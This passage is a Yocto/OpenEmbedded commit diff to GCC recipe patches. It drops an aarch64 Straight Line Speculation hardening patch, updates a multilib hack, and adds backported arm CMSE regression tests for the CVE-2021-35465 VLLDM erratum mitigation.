-+ ASM_OUTPUT_LABEL (out_file, name);
-+ aarch64_sls_emit_function_stub (out_file, regnum);
-+ /* Use the most conservative target to ensure it can always be used by any
-+ function in the translation unit. */
-+ asm_fprintf (out_file, "\tdsb\tsy\n\tisb\n");
-+ ASM_DECLARE_FUNCTION_SIZE (out_file, name, decl);
-+ }
-+}
-+
-+/* Implement TARGET_ASM_FILE_END. */
-+void
-+aarch64_asm_file_end ()
-+{
-+ aarch64_sls_emit_shared_blr_thunks (asm_out_file);
-+ /* Since this function will be called for the ASM_FILE_END hook, we ensure
-+ that what would be called otherwise (e.g. `file_end_indicate_exec_stack`
-+ for FreeBSD) still gets called. */
-+#ifdef TARGET_ASM_FILE_END
-+ TARGET_ASM_FILE_END ();
-+#endif
-+}
-+
-+const char *
-+aarch64_indirect_call_asm (rtx addr)
-+{
-+ gcc_assert (REG_P (addr));
-+ if (aarch64_harden_sls_blr_p ())
-+ {
-+ rtx stub_label = aarch64_sls_create_blr_label (REGNO (addr));
-+ output_asm_insn ("bl\t%0", &stub_label);
-+ }
-+ else
-+ output_asm_insn ("blr\t%0", &addr);
-+ return "";
-+}
-+
- /* Target-specific selftests. */
-
- #if CHECKING_P
-@@ -23507,6 +23722,12 @@ aarch64_libgcc_floating_mode_supported_p
- #undef TARGET_MD_ASM_ADJUST
- #define TARGET_MD_ASM_ADJUST arm_md_asm_adjust
-
-+#undef TARGET_ASM_FILE_END
-+#define TARGET_ASM_FILE_END aarch64_asm_file_end
-+
-+#undef TARGET_ASM_FUNCTION_EPILOGUE
-+#define TARGET_ASM_FUNCTION_EPILOGUE aarch64_sls_emit_blr_function_thunks
-+
- struct gcc_target targetm = TARGET_INITIALIZER;
-
- #include "gt-aarch64.h"
-diff --git a/gcc/config/aarch64/aarch64.h b/gcc/config/aarch64/aarch64.h
-index 8e0fc37..7331450 100644
---- a/gcc/config/aarch64/aarch64.h
-+++ b/gcc/config/aarch64/aarch64.h
-@@ -643,6 +643,16 @@ extern unsigned aarch64_architecture_version;
- #define GP_REGNUM_P(REGNO) \
- (((unsigned) (REGNO - R0_REGNUM)) <= (R30_REGNUM - R0_REGNUM))
-
-+/* Registers known to be preserved over a BL instruction. This consists of the
-+ GENERAL_REGS without x16, x17, and x30. The x30 register is changed by the
-+ BL instruction itself, while the x16 and x17 registers may be used by
-+ veneers which can be inserted by the linker. */
-+#define STUB_REGNUM_P(REGNO) \
-+ (GP_REGNUM_P (REGNO) \
-+ && (REGNO) != R16_REGNUM \
-+ && (REGNO) != R17_REGNUM \
-+ && (REGNO) != R30_REGNUM) \
-+
- #define FP_REGNUM_P(REGNO) \
- (((unsigned) (REGNO - V0_REGNUM)) <= (V31_REGNUM - V0_REGNUM))
-
-@@ -667,6 +677,7 @@ enum reg_class
- {
- NO_REGS,
- TAILCALL_ADDR_REGS,
-+ STUB_REGS,
- GENERAL_REGS,
- STACK_REG,
- POINTER_REGS,
-@@ -689,6 +700,7 @@ enum reg_class
- { \
- "NO_REGS", \
- "TAILCALL_ADDR_REGS", \
-+ "STUB_REGS", \
- "GENERAL_REGS", \
- "STACK_REG", \
- "POINTER_REGS", \
-@@ -708,6 +720,7 @@ enum reg_class
- { \
- { 0x00000000, 0x00000000, 0x00000000 }, /* NO_REGS */ \
- { 0x00030000, 0x00000000, 0x00000000 }, /* TAILCALL_ADDR_REGS */\
-+ { 0x3ffcffff, 0x00000000, 0x00000000 }, /* STUB_REGS */ \
- { 0x7fffffff, 0x00000000, 0x00000003 }, /* GENERAL_REGS */ \
- { 0x80000000, 0x00000000, 0x00000000 }, /* STACK_REG */ \
- { 0xffffffff, 0x00000000, 0x00000003 }, /* POINTER_REGS */ \
-@@ -862,6 +875,8 @@ typedef struct GTY (()) machine_function
- struct aarch64_frame frame;
- /* One entry for each hard register. */
- bool reg_is_wrapped_separately[LAST_SAVED_REGNUM];
-+ /* One entry for each general purpose register. */
-+ rtx call_via[SP_REGNUM];
- bool label_is_assembled;
- } machine_function;
- #endif
-diff --git a/gcc/config/aarch64/aarch64.md b/gcc/config/aarch64/aarch64.md
-index dda04ee..43da754 100644
---- a/gcc/config/aarch64/aarch64.md
-+++ b/gcc/config/aarch64/aarch64.md
-@@ -1022,16 +1022,15 @@
- )
-
- (define_insn "*call_insn"
-- [(call (mem:DI (match_operand:DI 0 "aarch64_call_insn_operand" "r, Usf"))
-+ [(call (mem:DI (match_operand:DI 0 "aarch64_call_insn_operand" "Ucr, Usf"))
- (match_operand 1 "" ""))
- (unspec:DI [(match_operand:DI 2 "const_int_operand")] UNSPEC_CALLEE_ABI)
- (clobber (reg:DI LR_REGNUM))]
- ""
- "@
-- blr\\t%0
-+ * return aarch64_indirect_call_asm (operands[0]);
- bl\\t%c0"
-- [(set_attr "type" "call, call")]
--)
-+ [(set_attr "type" "call, call")])
-
- (define_expand "call_value"
- [(parallel
-@@ -1050,13 +1049,13 @@
-
- (define_insn "*call_value_insn"
- [(set (match_operand 0 "" "")
-- (call (mem:DI (match_operand:DI 1 "aarch64_call_insn_operand" "r, Usf"))
-+ (call (mem:DI (match_operand:DI 1 "aarch64_call_insn_operand" "Ucr, Usf"))
- (match_operand 2 "" "")))
- (unspec:DI [(match_operand:DI 3 "const_int_operand")] UNSPEC_CALLEE_ABI)
- (clobber (reg:DI LR_REGNUM))]
- ""
- "@
-- blr\\t%1
-+ * return aarch64_indirect_call_asm (operands[1]);
- bl\\t%c1"
- [(set_attr "type" "call, call")]
- )
-diff --git a/gcc/config/aarch64/constraints.md b/gcc/config/aarch64/constraints.md
-index d993268..8cc6f50 100644
---- a/gcc/config/aarch64/constraints.md
-+++ b/gcc/config/aarch64/constraints.md
-@@ -24,6 +24,15 @@
- (define_register_constraint "Ucs" "TAILCALL_ADDR_REGS"
- "@internal Registers suitable for an indirect tail call")
-
-+(define_register_constraint "Ucr"
-+ "aarch64_harden_sls_blr_p () ? STUB_REGS : GENERAL_REGS"
-+ "@internal Registers to be used for an indirect call.
-+ This is usually the general registers, but when we are hardening against
-+ Straight Line Speculation we disallow x16, x17, and x30 so we can use
-+ indirection stubs. These indirection stubs cannot use the above registers
-+ since they will be reached by a BL that may have to go through a linker
-+ veneer.")
-+
- (define_register_constraint "w" "FP_REGS"
- "Floating point and SIMD vector registers.")
-
-diff --git a/gcc/config/aarch64/predicates.md b/gcc/config/aarch64/predicates.md
-index 215fcec..1754b1e 100644
---- a/gcc/config/aarch64/predicates.md
-+++ b/gcc/config/aarch64/predicates.md
-@@ -32,7 +32,8 @@
-
- (define_predicate "aarch64_general_reg"
- (and (match_operand 0 "register_operand")
-- (match_test "REGNO_REG_CLASS (REGNO (op)) == GENERAL_REGS")))
-+ (match_test "REGNO_REG_CLASS (REGNO (op)) == STUB_REGS
-+ || REGNO_REG_CLASS (REGNO (op)) == GENERAL_REGS")))
-
- ;; Return true if OP a (const_int 0) operand.
- (define_predicate "const0_operand"
-diff --git a/gcc/testsuite/gcc.target/aarch64/sls-mitigation/sls-miti-blr-bti.c b/gcc/testsuite/gcc.target/aarch64/sls-mitigation/sls-miti-blr-bti.c
-new file mode 100644
-index 0000000..b1fb754
---- /dev/null
-+++ b/gcc/testsuite/gcc.target/aarch64/sls-mitigation/sls-miti-blr-bti.c
-@@ -0,0 +1,40 @@
-+/* { dg-do compile } */
-+/* { dg-additional-options "-mharden-sls=blr -mbranch-protection=bti" } */
-+/*
-+ Ensure that the SLS hardening of BLR leaves no BLR instructions.
-+ Here we also check that there are no BR instructions with anything except an
-+ x16 or x17 register. This is because a `BTI c` instruction can be branched
-+ to using a BLR instruction using any register, but can only be branched to
-+ with a BR using an x16 or x17 register.
-+ */
-+typedef int (foo) (int, int);
-+typedef void (bar) (int, int);
-+struct sls_testclass {
-+ foo *x;
-+ bar *y;
-+ int left;
-+ int right;
-+};
-+
-+/* We test both RTL patterns for a call which returns a value and a call which
-+ does not. */
-+int blr_call_value (struct sls_testclass x)
-+{
-+ int retval = x.x(x.left, x.right);
-+ if (retval % 10)
-+ return 100;
-+ return 9;
-+}
-+
-+int blr_call (struct sls_testclass x)
-+{
-+ x.y(x.left, x.right);
-+ if (x.left % 10)
-+ return 100;
-+ return 9;
-+}
-+
-+/* { dg-final { scan-assembler-not {\tblr\t} } } */
-+/* { dg-final { scan-assembler-not {\tbr\tx(?!16|17)} } } */
-+/* { dg-final { scan-assembler {\tbr\tx(16|17)} } } */
-+
-diff --git a/gcc/testsuite/gcc.target/aarch64/sls-mitigation/sls-miti-blr.c b/gcc/testsuite/gcc.target/aarch64/sls-mitigation/sls-miti-blr.c
-new file mode 100644
-index 0000000..88bafff
---- /dev/null
-+++ b/gcc/testsuite/gcc.target/aarch64/sls-mitigation/sls-miti-blr.c
-@@ -0,0 +1,33 @@
-+/* { dg-additional-options "-mharden-sls=blr -save-temps" } */
-+/* Ensure that the SLS hardening of BLR leaves no BLR instructions.
-+ We only test that all BLR instructions have been removed, not that the
-+ resulting code makes sense. */
-+typedef int (foo) (int, int);
-+typedef void (bar) (int, int);
-+struct sls_testclass {
-+ foo *x;
-+ bar *y;
-+ int left;
-+ int right;
-+};
-+
-+/* We test both RTL patterns for a call which returns a value and a call which
-+ does not. */
-+int blr_call_value (struct sls_testclass x)
-+{
-+ int retval = x.x(x.left, x.right);
-+ if (retval % 10)
-+ return 100;
-+ return 9;
-+}
-+
-+int blr_call (struct sls_testclass x)
-+{
-+ x.y(x.left, x.right);
-+ if (x.left % 10)
-+ return 100;
-+ return 9;
-+}
-+
-+/* { dg-final { scan-assembler-not {\tblr\t} } } */
-+/* { dg-final { scan-assembler {\tbr\tx[0-9][0-9]?} } } */
---
-2.7.4
-
diff --git a/meta/recipes-devtools/gcc/gcc/0003-gcc-4.3.3-SYSROOT_CFLAGS_FOR_TARGET.patch b/meta/recipes-devtools/gcc/gcc/0003-gcc-4.3.3-SYSROOT_CFLAGS_FOR_TARGET.patch
deleted file mode 100644
index 27237feb5a..0000000000
--- a/meta/recipes-devtools/gcc/gcc/0003-gcc-4.3.3-SYSROOT_CFLAGS_FOR_TARGET.patch
+++ /dev/null
@@ -1,70 +0,0 @@
-From 6e3395c0bc933bdc3242d1dead4896d0aa4e11a8 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 29 Mar 2013 09:08:31 +0400
-Subject: [PATCH] gcc-4.3.3: SYSROOT_CFLAGS_FOR_TARGET
-
-Before committing, I noticed that PR/32161 was marked as a dup of PR/32009, but my previous patch did not fix it.
-
-This alternative patch is better because it lets you just use CFLAGS_FOR_TARGET to set the compilation flags for libgcc. Since bootstrapped target libraries are never compiled with the native compiler, it makes little sense to use different flags for stage1 and later stages. And it also makes little sense to use a different variable than CFLAGS_FOR_TARGET.
-
-Other changes I had to do include:
-
-- moving the creation of default CFLAGS_FOR_TARGET from Makefile.am to configure.ac, because otherwise the BOOT_CFLAGS are substituted into CFLAGS_FOR_TARGET (which is "-O2 -g $(CFLAGS)") via $(CFLAGS). It is also cleaner this way though.
-
-- passing the right CFLAGS to configure scripts as exported environment variables
-
-I also stopped passing LIBCFLAGS to configure scripts since they are unused in the whole src tree. And I updated the documentation as H-P reminded me to do.
-
-Bootstrapped/regtested i686-pc-linux-gnu, will commit to 4.4 shortly. Ok for 4.3?
-
-Signed-off-by: Paolo Bonzini <bonzini@gnu.org>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
-Upstream-Status: Pending
----
- configure | 32 ++++++++++++++++++++++++++++++++
- 1 file changed, 32 insertions(+)
-
-diff --git a/configure b/configure
-index 226a64939d1..b31dc137fc9 100755
---- a/configure
-+++ b/configure
-@@ -6971,6 +6971,38 @@ fi
-
-
-
-+# During gcc bootstrap, if we use some random cc for stage1 then CFLAGS
-+# might be empty or "-g". We don't require a C++ compiler, so CXXFLAGS
-+# might also be empty (or "-g", if a non-GCC C++ compiler is in the path).
-+# We want to ensure that TARGET libraries (which we know are built with
-+# gcc) are built with "-O2 -g", so include those options when setting
-+# CFLAGS_FOR_TARGET and CXXFLAGS_FOR_TARGET.
-+if test "x$CFLAGS_FOR_TARGET" = x; then
-+ CFLAGS_FOR_TARGET=$CFLAGS
-+ case " $CFLAGS " in
-+ *" -O2 "*) ;;
-+ *) CFLAGS_FOR_TARGET="-O2 $CFLAGS" ;;
-+ esac
-+ case " $CFLAGS " in
-+ *" -g "* | *" -g3 "*) ;;
-+ *) CFLAGS_FOR_TARGET="-g $CFLAGS" ;;
-+ esac
-+fi
-+
-+
-+if test "x$CXXFLAGS_FOR_TARGET" = x; then
-+ CXXFLAGS_FOR_TARGET=$CXXFLAGS
-+ case " $CXXFLAGS " in
-+ *" -O2 "*) ;;
-+ *) CXXFLAGS_FOR_TARGET="-O2 $CXXFLAGS" ;;
-+ esac
-+ case " $CXXFLAGS " in
-+ *" -g "* | *" -g3 "*) ;;
-+ *) CXXFLAGS_FOR_TARGET="-g $CXXFLAGS" ;;
-+ esac
-+fi
-+
-+
- # Handle --with-headers=XXX. If the value is not "yes", the contents of
- # the named directory are copied to $(tooldir)/sys-include.
- if test x"${with_headers}" != x && test x"${with_headers}" != xno ; then
diff --git a/meta/recipes-devtools/gcc/gcc/0004-64-bit-multilib-hack.patch b/meta/recipes-devtools/gcc/gcc/0004-64-bit-multilib-hack.patch
index 7c751bef65..5f14dd2a58 100644
--- a/meta/recipes-devtools/gcc/gcc/0004-64-bit-multilib-hack.patch
+++ b/meta/recipes-devtools/gcc/gcc/0004-64-bit-multilib-hack.patch
@@ -1,4 +1,4 @@
-From 85a7c5aeb82ed61e6ef6d8e061b9da9e6a4a652c Mon Sep 17 00:00:00 2001
+From 2fa5c93641b75a662839c1b6eee172b6c481c70e Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Fri, 29 Mar 2013 09:10:06 +0400
Subject: [PATCH] 64-bit multilib hack.
@@ -19,25 +19,26 @@ and be able to patch these entries with a complete set of correct paths but this
don't have such code at this point. This is something the target gcc recipe should do
and override these platform defaults in its build config.
-Do same for riscv64 and aarch64
+Do same for riscv64, aarch64 & arc
RP 15/8/11
-Upstream-Status: Inappropriate[OE-Specific]
+Upstream-Status: Inappropriate [OE-Specific]
Signed-off-by: Khem Raj <raj.khem@gmail.com>
Signed-off-by: Elvis Dowson <elvis.dowson@gmail.com>
Signed-off-by: Mark Hatle <mark.hatle@windriver.com>
---
gcc/config/aarch64/t-aarch64-linux | 8 ++++----
+ gcc/config/arc/t-multilib-linux | 4 ++--
gcc/config/i386/t-linux64 | 6 ++----
gcc/config/mips/t-linux64 | 10 +++-------
gcc/config/riscv/t-linux | 6 ++++--
gcc/config/rs6000/t-linux64 | 5 ++---
- 5 files changed, 15 insertions(+), 20 deletions(-)
+ 6 files changed, 17 insertions(+), 22 deletions(-)
diff --git a/gcc/config/aarch64/t-aarch64-linux b/gcc/config/aarch64/t-aarch64-linux
-index 83e59e33b85..b1356be1fb4 100644
+index 241b0ef20b6..a7dadb2d64f 100644
--- a/gcc/config/aarch64/t-aarch64-linux
+++ b/gcc/config/aarch64/t-aarch64-linux
@@ -21,8 +21,8 @@
@@ -53,8 +54,24 @@ index 83e59e33b85..b1356be1fb4 100644
-MULTILIB_OSDIRNAMES += mabi.ilp32=../libilp32$(call if_multiarch,:aarch64$(AARCH_BE)-linux-gnu_ilp32)
+#MULTILIB_OSDIRNAMES += mabi.ilp32=../libilp32$(call if_multiarch,:aarch64$(AARCH_BE)-linux-gnu_ilp32)
+diff --git a/gcc/config/arc/t-multilib-linux b/gcc/config/arc/t-multilib-linux
+index fc3fff640a2..d58e28f6df8 100644
+--- a/gcc/config/arc/t-multilib-linux
++++ b/gcc/config/arc/t-multilib-linux
+@@ -16,9 +16,9 @@
+ # along with GCC; see the file COPYING3. If not see
+ # <http://www.gnu.org/licenses/>.
+
+-MULTILIB_OPTIONS = mcpu=hs/mcpu=archs/mcpu=hs38/mcpu=hs38_linux/mcpu=arc700/mcpu=nps400
++#MULTILIB_OPTIONS = mcpu=hs/mcpu=archs/mcpu=hs38/mcpu=hs38_linux/mcpu=arc700/mcpu=nps400
+
+-MULTILIB_DIRNAMES = hs archs hs38 hs38_linux arc700 nps400
++#MULTILIB_DIRNAMES = hs archs hs38 hs38_linux arc700 nps400
+
+ # Aliases:
+ MULTILIB_MATCHES += mcpu?arc700=mA7
diff --git a/gcc/config/i386/t-linux64 b/gcc/config/i386/t-linux64
-index 1171e218578..5e057b7e5db 100644
+index d288b093522..7b5980a9d21 100644
--- a/gcc/config/i386/t-linux64
+++ b/gcc/config/i386/t-linux64
@@ -32,7 +32,5 @@
@@ -68,7 +85,7 @@ index 1171e218578..5e057b7e5db 100644
+MULTILIB_DIRNAMES = . .
+MULTILIB_OSDIRNAMES = ../$(shell basename $(base_libdir)) ../$(shell basename $(base_libdir))
diff --git a/gcc/config/mips/t-linux64 b/gcc/config/mips/t-linux64
-index ceb58d3b5f3..43fe2bf28ab 100644
+index 130e1f04707..3b7eb6b2a2f 100644
--- a/gcc/config/mips/t-linux64
+++ b/gcc/config/mips/t-linux64
@@ -17,10 +17,6 @@
@@ -98,7 +115,7 @@ index 216d2776a18..e4d817621fc 100644
+#MULTILIB_OSDIRNAMES := $(patsubst lib%,../lib%,$(MULTILIB_DIRNAMES))
+MULTILIB_OSDIRNAMES := ../$(shell basename $(base_libdir)) ../$(shell basename $(base_libdir))
diff --git a/gcc/config/rs6000/t-linux64 b/gcc/config/rs6000/t-linux64
-index 264a7e27524..dc9d440f66b 100644
+index e11a118cb5f..4eaffb416fe 100644
--- a/gcc/config/rs6000/t-linux64
+++ b/gcc/config/rs6000/t-linux64
@@ -26,10 +26,9 @@
diff --git a/meta/recipes-devtools/gcc/gcc/0004-CVE-2021-35465.patch b/meta/recipes-devtools/gcc/gcc/0004-CVE-2021-35465.patch
new file mode 100644
index 0000000000..9dd6a313c2
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0004-CVE-2021-35465.patch
@@ -0,0 +1,304 @@
+From 809330ab8450261e05919b472783bf15e4b000f7 Mon Sep 17 00:00:00 2001
+From: Richard Earnshaw <rearnsha@arm.com>
+Date: Tue, 6 Jul 2021 15:10:18 +0100
+Subject: [PATCH] arm: Add tests for VLLDM mitigation [PR102035]
+
+New tests for the erratum mitigation.
+
+gcc/testsuite:
+ PR target/102035
+ * gcc.target/arm/cmse/mainline/8_1m/soft/cmse-13a.c: New test.
+ * gcc.target/arm/cmse/mainline/8_1m/soft/cmse-7a.c: Likewise.
+ * gcc.target/arm/cmse/mainline/8_1m/soft/cmse-8a.c: Likewise.
+ * gcc.target/arm/cmse/mainline/8_1m/softfp-sp/cmse-7a.c: Likewise.
+ * gcc.target/arm/cmse/mainline/8_1m/softfp-sp/cmse-8a.c: Likewise.
+ * gcc.target/arm/cmse/mainline/8_1m/softfp/cmse-13a.c: Likewise.
+ * gcc.target/arm/cmse/mainline/8_1m/softfp/cmse-7a.c: Likewise.
+ * gcc.target/arm/cmse/mainline/8_1m/softfp/cmse-8a.c: Likewise.
+
+CVE: CVE-2021-35465
+Upstream-Status: Backport [https://gcc.gnu.org/git/gitweb.cgi?p=gcc.git;h=809330ab8450261e05919b472783bf15e4b000f7]
+Signed-off-by: Pgowda <pgowda.cve@gmail.com>
+
+---
+ .../arm/cmse/mainline/8_1m/soft/cmse-13a.c | 31 +++++++++++++++++++
+ .../arm/cmse/mainline/8_1m/soft/cmse-7a.c | 28 +++++++++++++++++
+ .../arm/cmse/mainline/8_1m/soft/cmse-8a.c | 30 ++++++++++++++++++
+ .../cmse/mainline/8_1m/softfp-sp/cmse-7a.c | 27 ++++++++++++++++
+ .../cmse/mainline/8_1m/softfp-sp/cmse-8a.c | 29 +++++++++++++++++
+ .../arm/cmse/mainline/8_1m/softfp/cmse-13a.c | 30 ++++++++++++++++++
+ .../arm/cmse/mainline/8_1m/softfp/cmse-7a.c | 27 ++++++++++++++++
+ .../arm/cmse/mainline/8_1m/softfp/cmse-8a.c | 29 +++++++++++++++++
+ 8 files changed, 231 insertions(+)
+ create mode 100644 gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/soft/cmse-13a.c
+ create mode 100644 gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/soft/cmse-7a.c
+ create mode 100644 gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/soft/cmse-8a.c
+ create mode 100644 gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/softfp-sp/cmse-7a.c
+ create mode 100644 gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/softfp-sp/cmse-8a.c
+ create mode 100644 gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/softfp/cmse-13a.c
+ create mode 100644 gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/softfp/cmse-7a.c
+ create mode 100644 gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/softfp/cmse-8a.c
+
+diff --git a/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/soft/cmse-13a.c b/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/soft/cmse-13a.c
+--- a/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/soft/cmse-13a.c 1969-12-31 16:00:00.000000000 -0800
++++ b/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/soft/cmse-13a.c 2021-11-15 02:30:37.210637445 -0800
+@@ -0,0 +1,31 @@
++/* { dg-do compile } */
++/* { dg-options "-mcmse -mfloat-abi=soft -mfix-cmse-cve-2021-35465" } */
++/* { dg-skip-if "Incompatible float ABI" { *-*-* } { "-mfloat-abi=*" } { "-mfloat-abi=soft" } } */
++
++#include "../../../cmse-13.x"
++
++/* Checks for saving and clearing prior to function call. */
++/* Shift on the same register as blxns. */
++/* { dg-final { scan-assembler "lsrs\t(r\[1,4-9\]|r10|fp|ip), \\1, #1.*blxns\t\\1" } } */
++/* { dg-final { scan-assembler "lsls\t(r\[1,4-9\]|r10|fp|ip), \\1, #1.*blxns\t\\1" } } */
++/* { dg-final { scan-assembler-not "mov\tr0, r4" } } */
++/* { dg-final { scan-assembler-not "mov\tr2, r4" } } */
++/* { dg-final { scan-assembler-not "mov\tr3, r4" } } */
++/* { dg-final { scan-assembler "push\t\{r4, r5, r6, r7, r8, r9, r10, fp\}" } } */
++/* { dg-final { scan-assembler "vlstm\tsp" } } */
++/* Check the right registers are cleared and none appears twice. */
++/* { dg-final { scan-assembler "clrm\t\{(r1, )?(r4, )?(r5, )?(r6, )?(r7, )?(r8, )?(r9, )?(r10, )?(fp, )?(ip, )?APSR\}" } } */
++/* Check that the right number of registers is cleared and thus only one
++ register is missing. */
++/* { dg-final { scan-assembler "clrm\t\{((r\[1,4-9\]|r10|fp|ip), ){9}APSR\}" } } */
++/* Check that no cleared register is used for blxns. */
++/* { dg-final { scan-assembler-not "clrm\t\{\[^\}\]\+(r\[1,4-9\]|r10|fp|ip),\[^\}\]\+\}.*blxns\t\\1" } } */
++/* Check for v8.1-m variant of erratum work-around. */
++/* { dg-final { scan-assembler "vscclrm\t\{vpr\}" } } */
++/* { dg-final { scan-assembler "vlldm\tsp" } } */
++/* { dg-final { scan-assembler "pop\t\{r4, r5, r6, r7, r8, r9, r10, fp\}" } } */
++/* { dg-final { scan-assembler-not "vmov" } } */
++/* { dg-final { scan-assembler-not "vmsr" } } */
++
++/* Now we check that we use the correct intrinsic to call. */
++/* { dg-final { scan-assembler "blxns" } } */
+diff --git a/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/soft/cmse-7a.c b/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/soft/cmse-7a.c
+--- a/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/soft/cmse-7a.c 1969-12-31 16:00:00.000000000 -0800
++++ b/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/soft/cmse-7a.c 2021-11-15 02:30:37.210637445 -0800
+@@ -0,0 +1,28 @@
++/* { dg-do compile } */
++/* { dg-options "-mcmse -mfloat-abi=soft -mfix-cmse-cve-2021-35465" } */
++/* { dg-skip-if "Incompatible float ABI" { *-*-* } { "-mfloat-abi=*" } { "-mfloat-abi=soft" } } */
++
++#include "../../../cmse-7.x"
++
++/* Checks for saving and clearing prior to function call. */
++/* Shift on the same register as blxns. */
++/* { dg-final { scan-assembler "lsrs\t(r\[0-9\]|r10|fp|ip), \\1, #1.*blxns\t\\1" } } */
++/* { dg-final { scan-assembler "lsls\t(r\[0-9\]|r10|fp|ip), \\1, #1.*blxns\t\\1" } } */
++/* { dg-final { scan-assembler "push\t\{r4, r5, r6, r7, r8, r9, r10, fp\}" } } */
++/* { dg-final { scan-assembler "vlstm\tsp" } } */
++/* Check the right registers are cleared and none appears twice. */
++/* { dg-final { scan-assembler "clrm\t\{(r0, )?(r1, )?(r2, )?(r3, )?(r4, )?(r5, )?(r6, )?(r7, )?(r8, )?(r9, )?(r10, )?(fp, )?(ip, )?APSR\}" } } */
++/* Check that the right number of registers is cleared and thus only one
++ register is missing. */
++/* { dg-final { scan-assembler "clrm\t\{((r\[0-9\]|r10|fp|ip), ){12}APSR\}" } } */
++/* Check that no cleared register is used for blxns. */
++/* { dg-final { scan-assembler-not "clrm\t\{\[^\}\]\+(r\[0-9\]|r10|fp|ip),\[^\}\]\+\}.*blxns\t\\1" } } */
++/* Check for v8.1-m variant of erratum work-around. */
++/* { dg-final { scan-assembler "vscclrm\t\{vpr\}" } } */
++/* { dg-final { scan-assembler "vlldm\tsp" } } */
++/* { dg-final { scan-assembler "pop\t\{r4, r5, r6, r7, r8, r9, r10, fp\}" } } */
++/* { dg-final { scan-assembler-not "vmov" } } */
++/* { dg-final { scan-assembler-not "vmsr" } } */
++
++/* Now we check that we use the correct intrinsic to call. */
++/* { dg-final { scan-assembler "blxns" } } */
+diff --git a/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/soft/cmse-8a.c b/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/soft/cmse-8a.c
+--- a/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/soft/cmse-8a.c 1969-12-31 16:00:00.000000000 -0800
++++ b/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/soft/cmse-8a.c 2021-11-15 02:30:37.210637445 -0800
+@@ -0,0 +1,30 @@
++/* { dg-do compile } */
++/* { dg-options "-mcmse -mfloat-abi=soft -mfix-cmse-cve-2021-35465" } */
++/* { dg-skip-if "Incompatible float ABI" { *-*-* } { "-mfloat-abi=*" } { "-mfloat-abi=soft" } } */
++
++#include "../../../cmse-8.x"
++
++/* Checks for saving and clearing prior to function call. */
++/* Shift on the same register as blxns. */
++/* { dg-final { scan-assembler "lsrs\t(r\[2-9\]|r10|fp|ip), \\1, #1.*blxns\t\\1" } } */
++/* { dg-final { scan-assembler "lsls\t(r\[2-9\]|r10|fp|ip), \\1, #1.*blxns\t\\1" } } */
++/* { dg-final { scan-assembler-not "mov\tr0, r4" } } */
++/* { dg-final { scan-assembler-not "mov\tr1, r4" } } */
++/* { dg-final { scan-assembler "push\t\{r4, r5, r6, r7, r8, r9, r10, fp\}" } } */
++/* { dg-final { scan-assembler "vlstm\tsp" } } */
++/* Check the right registers are cleared and none appears twice. */
++/* { dg-final { scan-assembler "clrm\t\{(r2, )?(r3, )?(r4, )?(r5, )?(r6, )?(r7, )?(r8, )?(r9, )?(r10, )?(fp, )?(ip, )?APSR\}" } } */
++/* Check that the right number of registers is cleared and thus only one
++ register is missing. */
++/* { dg-final { scan-assembler "clrm\t\{((r\[2-9\]|r10|fp|ip), ){10}APSR\}" } } */
++/* Check that no cleared register is used for blxns. */
++/* { dg-final { scan-assembler-not "clrm\t\{\[^\}\]\+(r\[2-9\]|r10|fp|ip),\[^\}\]\+\}.*blxns\t\\1" } } */
++/* Check for v8.1-m variant of erratum work-around. */
++/* { dg-final { scan-assembler "vscclrm\t\{vpr\}" } } */
++/* { dg-final { scan-assembler "vlldm\tsp" } } */
++/* { dg-final { scan-assembler "pop\t\{r4, r5, r6, r7, r8, r9, r10, fp\}" } } */
++/* { dg-final { scan-assembler-not "vmov" } } */
++/* { dg-final { scan-assembler-not "vmsr" } } */
++
++/* Now we check that we use the correct intrinsic to call. */
++/* { dg-final { scan-assembler "blxns" } } */
+diff --git a/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/softfp/cmse-13a.c b/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/softfp/cmse-13a.c
+--- a/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/softfp/cmse-13a.c 1969-12-31 16:00:00.000000000 -0800
++++ b/gcc/testsuite/gcc.target/arm/cmse/mainline/8_1m/softfp/cmse-13a.c 2021-11-15 02:30:37.210637445 -0800
+@@ -0,0 +1,30 @@
++/* { dg-do compile } */
++/* { dg-options "-mcmse -mfloat-abi=softfp -mfpu=fpv5-d16 -mfix-cmse-cve-2021-35465" } */
++/* { dg-skip-if "Incompatible float ABI" { *-*-* } { "-mfloat-abi=*" } { "-mfloat-abi=softfp" } } */
++/* { dg-skip-if "Skip these if testing single precision" {*-*-*} {"-mfpu=*-sp-*"} {""} } */
++
++#include "../../../cmse-13.x"
++
++/* Checks for saving and clearing prior to function call. */
++/* Shift on the same register as blxns. */
++/* { dg-final { scan-assembler "lsrs\t(r\[1,4-9\]|r10|fp|ip), \\1, #1.*blxns\t\\1" } } */
++/* { dg-final { scan-assembler "lsls\t(r\[1,4-9\]|r10|fp|ip), \\1, #1.*blxns\t\\1" } } */
++/* { dg-final { scan-assembler-not "mov\tr0, r4" } } */
++/* { dg-final { scan-assembler-not "mov\tr2, r4" } } */
++/* { dg-final { scan-assembler-not "mov\tr3, r4" } } */
